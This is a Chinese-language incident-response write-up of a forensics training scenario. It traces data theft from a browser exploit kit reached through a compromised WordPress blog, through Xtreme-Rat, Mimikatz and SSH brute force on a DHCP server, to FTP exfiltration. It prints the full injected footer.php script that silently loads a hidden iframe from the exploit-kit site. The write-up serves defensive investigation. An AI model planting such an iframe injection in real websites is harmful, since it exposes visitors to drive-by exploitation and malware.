目录导航
设想
客户的组织发现其一些敏感数据在在线文本共享应用程序中被检测到。由于法律义务和出于业务连续性的目的,CSIRT 团队的任务是进行事件响应和事件调查以减轻威胁。
此次泄露包含敏感数据,并包含一条威胁通知,称不久之后就会有更多数据出现。
由于漏洞指向特定员工的计算机,因此负责调查该事件的 CSIRT 团队会跟踪线索。
初步证据收集
由于我们有一个可疑的设备,我们首先获取该设备的内存和磁盘映像。
内存镜像可以从便携式应用程序中获取,例如“Belkasoft Live RAM Capturer 软件”或来自外部 USB 的“DumpIt”。
可以使用写入阻止程序获取磁盘映像,但由于本例是用于训练的机器是虚拟化的,因此我们可以将“vmdk”文件作为硬盘。
证据在收集完成时需要进行哈希处理以确保完整性。
笔记:
所有证据都附在资料上。
设置和验证证据
“vmdk”文件可以被视为存档文件,这意味着您可以使用“7-zip”来提取其内容。
提取后,我们需要将我们拥有的哈希值与收集时的哈希值进行验证。
当您看到哈希匹配时,您可以继续分析。
内存分析
毫无疑问,波动性是一个很棒的工具,但我将继续使用另一种很棒的方法,即使用,这是一个将内存安装为文件系统的工具,让您可以轻松地对其进行研究。
但是有一个建立在“MemProcFs”之上的工具,它是一个内存转储的自动分析框架,可以自动执行查找异常的过程,这就是。
许多取证有价值的信息都可以从中得到。
那么让我们看看我们从分析中得到了哪些信息,我将忽略我认为是误报的信息。
yara 扫描
该分析器具有它使用的内置 yara 规则,但我扩展了这些规则并添加了一些规则来检查恶意软件。
- UPX 打包文件“\Users\Peter\AppData\Roaming\HostData\update.exe”。
- UPX 打包文件“\Users\Peter\AppData\Local\Temp\svchost.exe”。
- 恶意软件 Xtreme-Rat“\Users\Peter\AppData\Roaming\HostData\update.exe”
- Powerkatz_DLL_Generic“准备通过 Powershell 在内存中运行的 Mimikatz 版本”。
- UPX 打包文件 \Device\HarddiskVolume2\Windows\explorer.exe。
- 恶意软件 Xtreme-Rat“\Device\HarddiskVolume2\Windows\explorer.exe”。
- 恶意软件 Xtreme-Rat“\Device\HarddiskVolume2\Users\Peter\AppData\Local\Temp\svchost.exe”。
我们从这次 yara 扫描中得到了很多信息,因为我们可以看到两个恶意文件“update & svchost”,其中包含 UPX 并被分类为“Xtreme-Rat”,我们还可以看到“explorer.exe”以某种方式感染了“xtreme-Rat”。 “xtreme-Rat”代码可能是由于使用了某种进程注入。
我们还可以注意到“Powerkatz”的使用,它是 mimikatz 的纯内存版本。
运行分析器产生的另一个有趣的输出是时间线。
正如我们所知,哪些进程被视为恶意进程,我们可以通过跟踪它们在系统上首次存在的位置来找到潜在的初始访问方式,为此我将查看 NTFS 时间线。
通过追踪它们的第一次创建,我发现了恶意的“svchost”,它从基于 NTFS 时间线中的预取文件创建首先创建和执行的“temp”目录中运行。
另外,另一件事可以注意到,第一件事是创建了一个奇怪名称的可执行文件“3568226350[1].exe”,同时还有大量条目写入Firefox的cache2,这可能表明该浏览器被用作使用漏洞利用工具包的初始攻击向量“普通用户无法在这么短的时间内打开这么多页面”。
这使得我们有必要仔细分析一下Firefox。
我们仍然可以通过从内存中提取注册表、日志和不同的工件位置来做很多事情,但由于我们已经拥有机器的完整磁盘映像,所以我会继续使用它。
磁盘分析
我正在使用“FTKImager”来分析磁盘映像,我正在提取任何文件,我需要使用其中的导出功能对其进行更多分析。
防病毒扫描
一个好的开始是在整个分区上运行防病毒软件,“ClamAV”防病毒软件是一个很好用的可执行文件,但可能需要一些时间,所以我首先扫描“Firefox”文件夹。
正如预期的那样,我们之前看到的条目之一被检测为“CVE_2012_3993”漏洞利用套件的一部分。
应用分析
由于我们有充分的证据表明,感染是通过浏览器利用发生的,因为恶意软件在利用“CVE-2012-3993”的缓存页面时投放到系统中,因此我们需要开始调查浏览器日志以了解发生的情况。
我们分析的目标浏览器是 Firefox,Firefox 配置文件位于 ‘C:\Users<name>\AppData\Roaming\Mozilla\Firefox’,而缓存文件可以在 ‘C:\Users<name>\AppData\ 找到本地\Mozilla\Firefox’。
一开始我们可以找到一份感染前后的崩溃报告,这次崩溃发生在“Shockwave 插件”上。
我们可以查看浏览器的历史记录,即用户个人资料中的“places.sqlite”,我们可以使用“BrowsingHistoryView”工具查看它。
我们可以看到在感染前后访问了两个站点,最可疑的是“blog.mycompany.ex”,然后我们可以使用“MZCacheView”工具在缓存数据“cache2”中查看访问该站点返回的内容。
有另一个网站在访问“mycompany”网站的同时被访问,并且因为该网站没有显示在历史记录中并且访问没有延迟,这是因为第二个网站是由于某种重定向而产生的或 iframe 嵌入,我们还可以注意到对 html 文件的多个请求,这可能是漏洞利用工具包的标志,其中之一是我们的 AV 之前标记为漏洞利用代码的文件。
因此我们需要导出这些文件以继续调查发生的情况。
因此,让我们调查一下是什么将我们重定向到“mycompany”网站中的“mysportclup”网站。
我们可以注意到前面的代码中有一个脚本在页面中嵌入了一个隐藏的iframe,所以让我们看一下iframe php文件的内容。
我们可以看到不同 HTML 文件的多个 iframe,我们不打算分析漏洞利用代码,但我们可以搜索带有“.exe”扩展名的文件来查看我们得到的内容。
这足以让我们证明恶意软件是利用浏览器漏洞植入设备的。
后利用
通过查看 NTFS 时间线中的预取文件创建,我们可以构建系统中执行的应用程序的时间线。
在这里我们可以看到枚举工具正在运行,但引起我注意的是执行它们之间的时间,这表明这些工具正在以脚本方式运行。
另外,我注意到在临时目录中创建了一个文件,该文件似乎正在收集这些枚举工具的输出。
通过这条路径,我发现了许多运行不同工具的日志,这表明攻击者拥有用户“Peter”的密码以及有关系统的一般信息和扫描周围网络中主机的NMAP结果。
我注意到的另一件事是使用“pscp.exe”,它是一个putty 工具,可以指示设备与另一个设备之间的连接。
通过使用“PEcmd”预取分析工具,我找到了“pscp.exe”的执行位置,并发现该目录包含所有下载的黑客工具。
另外,我可以看到一个奇怪的文件被删除到“temp”目录中,然后被执行。
所以我决定分析它,因为我们不知道它对系统做了什么。
未知恶意软件分析
首先对文件类型和字符串进行简单检查,结果显示可执行文件是已编译的 Python 脚本。
因此我们可以使用“unpy2exe.py”等工具提取它,然后使用“uncompyle6”反编译提取的“pyc”文件
通过查看代码我们可以发现,它是通过下载之前看到的黑客工具并在系统中设置目录和环境变量然后执行“Mimikatz”和“BrowserPasswordDump”工具开始的,这里有趣的是保存了一条日志运行结果位于名为“SystemProfile”的文件夹中,我认为这是因为它需要发送回 C2。
通过查看那里,我们可以找到其他几个在将数据发送给攻击者之前收集数据的文件。
在“mimikatz”日志中,我们可以看到攻击者设法获取用户的 NTLM 哈希值,该哈希值可能会被破解以获取其密码。
更有趣的是,攻击者设法从浏览器中获取一些密码,并且用户似乎对他的所有帐户使用相同的密码。
此外,攻击者还扫描网络中的其他设备以获取开放端口。
现在,我掌握了从攻击者从利用浏览器到使用“pscp.exe”的整个机器发生的情况的时间表。
网络分析
现在,在了解受感染计算机到底发生了什么之后,是时候调查网络流量了,以了解攻击的规模以及攻击者是否能够进入网络上的其他计算机。
网络日志保存在另一个硬盘上,因此我们需要将其连接到我们的取证工作站。
我首先查看哪些主机解析了利用站点“blog.mysportclup.ex”,我们调查的受感染主机是唯一根据 DNS 日志解析该站点的主机。
我们还收集了“NetFlow”,NetFlow 集合是网络中数据包标头的集合,没有实际数据,这有助于解决我们要存储所有数据包所需的大小问题。
我们得到了入侵当天的网络流量,分为几个文件,每个文件的时间段为 5 分钟。
我们知道受感染的机器的 IP 为“192.168.5.100”,所以让我们看看网络流中该 IP 的统计数据是什么。
我们可以看到当天的数据包中使用了四种协议,但没有任何可疑之处,让我们调查一下 ICMP 流量。
我们可以看到,有一个 ICMP 回显请求发送给不存在的“192.168.56.(1&10)”。
现在让我们看看UDP流量最多的是什么。
我们可以看到 DNS 流量是最常用的。
现在 TCP 流量也是如此。
我们可以在端口“12345”上看到大量数据包,所以让我们看看那里发生了什么。
我们可以看到该流量被发送到我们在“36.98.102.89”之前发现的c2。
正如我们之前提到的,我们无法获取发送的实际数据,因为 Netflow 不记录它。
现在让我们研究一下这台机器是否用于网络内部的横向移动。
我们可以看到大量流量从受感染的计算机发送到那里的网络设备,并且通过根据它尝试连接的目标端口查看哪种活动,我们可以看到以下内容。
这是针对负载约为两个字节的随机端口的明显端口扫描,现在让我们看看哪些端口有更多数据包,表明与其进行更多交互。
我们可以看到大量的 SSH 流量流向“192.168.5.10”,这需要我们关闭该设备进行调查。
受损 DHCP 服务器分析
IP 地址为“192.168.5.10”的设备是 DHCP 服务器,因此让我们研究一下它的取证镜像。
一个名为“LiveIR”的工具用于收集一些重要的取证文物,让我们看看我们从中得到了什么。
一般信息
hostname : dhcpsrv
kernel : 4.2.0-27-generic
network_card_1 : eth0 Link encap:Ethernet HWaddr 02:4a:4b:b7:e6:bd
inet addr:192.168.5.10 Bcast:192.168.5.255 Mask:255.255.255.0
inet6 addr: fe80::4a:4bff:feb7:e6bd/64 Scope:Link
network_card_2 : lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
os_informations : Linux version 4.2.0-27-generic (buildd@lcy01-23) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
首先,我开始查看身份验证日志,发现服务器因对“SSH”服务的暴力攻击而受到损害。
然后通过“su”进行根提升失败。
然后过了一段时间,发生了某种权限升级,为 root 打开了一个会话,创建了一个新用户并将其添加到“root”组,Peter 可以对其进行“su”,看看发生的权限提升从 cron 作业中,我调查了 cron 作业,发现这是一个每小时的 cron 作业,每小时的“17”分钟执行。
这与身份验证日志中的升级时间相同。
这表明存在一个影响用于提升权限的“chkrootkit”实用程序的漏洞。
笔记:
对用户John进行了root提升,但这似乎很正常,因为这是在攻击发生之前发生的,这可能是管理方面的问题。
另一个要查找的日志文件是内核日志,如果攻击者尝试使用不稳定的漏洞或缺少系统内容并导致某些内容崩溃,它会为您提供信息,以下是“libsecurity.so”库中发生的段错误。
现在我查看了 Peter“.bash_history”文件,我设法知道攻击者将其他工具下载到服务器。
对于 root 用户,我们可以看到公司的数据是如何被泄露的。
通过跟踪下载的“binaries-only.zip”,我在“tmp”目录中找到了它,并找到了以下脚本。
显然,此代码将“libsecurity.so、sshd、ssh”文件替换为可能是恶意的文件,并修改“ld.so.preload”以将恶意“libsecurity.so”加载到所有已加载的进程。
现在我们对该服务器的攻击时间表实际上支持了我们所说的一切。
笔记:
需要对这些恶意文件进行分析,以了解它们对系统做了什么,但是由于恶意软件分析阶段本身需要太多的时间,因此这会使调查变得更长,因此我在这里不再介绍它。
但这里最有趣的发现之一是,该公司的数据通过 ftp 被泄露到“coloserver1337.myhosting.ex”服务器。
网络服务器调查
我的公司服务器
请记住,当我们发现用户访问“blog.mycompany.ex”并被重定向到“blog.mysportclub.ex”时的初始访问,该“blog.mysportclub.ex”持有导致计算机受到损害的漏洞利用工具包。
知道 现在是时候调查该服务器是如何受到损害而出现这样的行为了。
该服务器托管在某个服务器托管服务中,我们获得了虚拟机的“ova”文件,我从中提取了“lvm”磁盘,并使用“FTKImager”开始了调查。
查看文件系统发现该服务器正在“apache”服务器上使用“WordPress”。
这里首先要查看的是所有工件之间的时间差,所以我查看了“/etc/timezone”,发现服务器的时区是“Europe/Amsterdam”,即“UTC+2”,所以有两者之间相差两个小时。
然后,我查看了 Apache 服务器的“access.log”,通过搜索“SQL 注入”等攻击中使用的不同有效负载来查找任何攻击迹象。 | XSS”或任何其他,但我发现大量对“/wp-login.php”的发布请求表明暴力登录,并且用户代理表明“WPScan”工具用于此目的。 |
这里需要注意的是,扫描源自 IP“10.0.0.5”,这是一个内部 IP 地址,表明需要调查位于该地址的计算机。
最后返回不同的内容长度就表示成功。
而且很明显,登录的用户有查看管理页面的权限。
我提取 URI 只是为了使用命令过滤垃圾数据
cat access.log | awk '{print $7}' | grep -v "login" > uri.txt
然后仔细查看它们以了解攻击者还访问了哪些内容,然后我找到了这个。
攻击者使用主题编辑器来编辑页脚的内容,因此让我们研究一下 footer.php 代码。
<script>
if (document.getElementsByTagName('body')[0]){ iframer();
} else {
document.write("<iframe src='http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe'); f.setAttribute('src', 'http://blog.mysportclub.ex/wp-content/uploads/hk/task/opspy/index.php');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10'); document.getElementsByTagName('body')[0].appendChild(f);
}
</script>
我们可以发现这个 Iframe 嵌入在页脚的末尾,它负责将我们重定向到托管漏洞利用工具包的网站“blog.mysportclub.ex”。
在机器中进行更多调查后,我发现网站内容上下文之外没有任何可疑之处,并且身份验证日志没有任何可疑登录的迹象,这表明攻击者尚未在服务器中获得更多权限。
我的体育俱乐部服务器
该 Web 服务器也是基于 Apache 的 WordPress,通过查看“access.log”,我发现了一些有趣的事情发生,在使用“WPScan”扫描后,有一个使用“curl”到“work-the”中端点的发布请求-flow-file-upload”插件,然后就可以访问著名的“c99.php”Web shell,该 shell 可以利用“work-the-flow-file-upload”插件中的漏洞进行上传。
我们之前发现“mycompany.ex”Web服务器注入了一个IFrame,该IFrame将重定向到该服务器中的URI“/wp-content/uploads/hk/task/opspy/index.php”,探索这条路径我们可以找到实际内容用作漏洞利用工具包。
coloserver1337.myhosting.ex 托管服务器分析
托管服务器同意向我们提供数据泄露到的托管服务器的内存和磁盘映像,以帮助我们追踪攻击者。
让我们从内存开始,了解它的样子,我们应该获取 Linux 映像的配置文件,以便能够使用波动性来解析它,这需要很少的工作,而不仅仅是像 Windows 中那样运行“imageinfo”插件。
首先,我运行以下命令来获取 Linux 发行版、内核版本和体系结构。
strings coloserver1337.myhosting.ex.mem | grep -i 'Linux version' | uniq
因此,这里有一个指向预构建配置文件的,然后将其放在挥发性目录内的路径“/volatility/plugins/overlays/linux”中。
找到导入说明。
从“linux_getcwd”开始,获取应用程序运行的目录,揭示了一个具有可疑名称的进程,该进程从可疑位置“tmp 目录内的隐藏文件夹”运行
bash 历史记录还显示了以 root 身份进行的安装。
通过查看磁盘,我发现这是一个具有用户和内核模块的rootkit。
我开始查看日志以识别初始访问点,然后从那里开始跟踪,然后我在 root 的 SSH 登录中发现了很多“失败的密码”,然后是一个成功的密码,这表明对用户 root 的暴力攻击成功了SSH。
然后新用户创建了“dump”和“proftp”来管理FTP服务器。
据我们所知,我们的数据已泄露到该服务器,我查看了 FTP 服务器日志,发现从我们的服务器 IP 建立了两个连接。
我们还可以找到被盗的数据。
总结
- mysportclub.ex 服务器因文件上传漏洞和托管在那里的漏洞利用工具包而遭到破坏。
- mycompany.ex 服务器管理面板通过暴力攻击和嵌入其中的“mysportclub.ex”的 IFrame 进行访问。
- 公司内部的一名用户访问了“mycompany.ex”服务器并受到了漏洞利用工具包的攻击。
- Xtreme-Rat 恶意软件感染了设备。
- 对网络的枚举和扫描是通过受感染的计算机进行的。
- 内部 DHCP 服务器通过 SSH 暴力破解。
- 使用“chkrootkit”漏洞获得 root 访问权限。
- 数据从计算机泄露到 DHCP 服务器。
- 由于服务器允许出站流量,因此数据从 DHCP 服务器泄露到某些在线托管服务器。
所有包含时间的时间表都可以在表中找到。
该时间表仅适用于公司财产发生的情况,而不是托管公司的情况。
链接
转载请注明出处及链接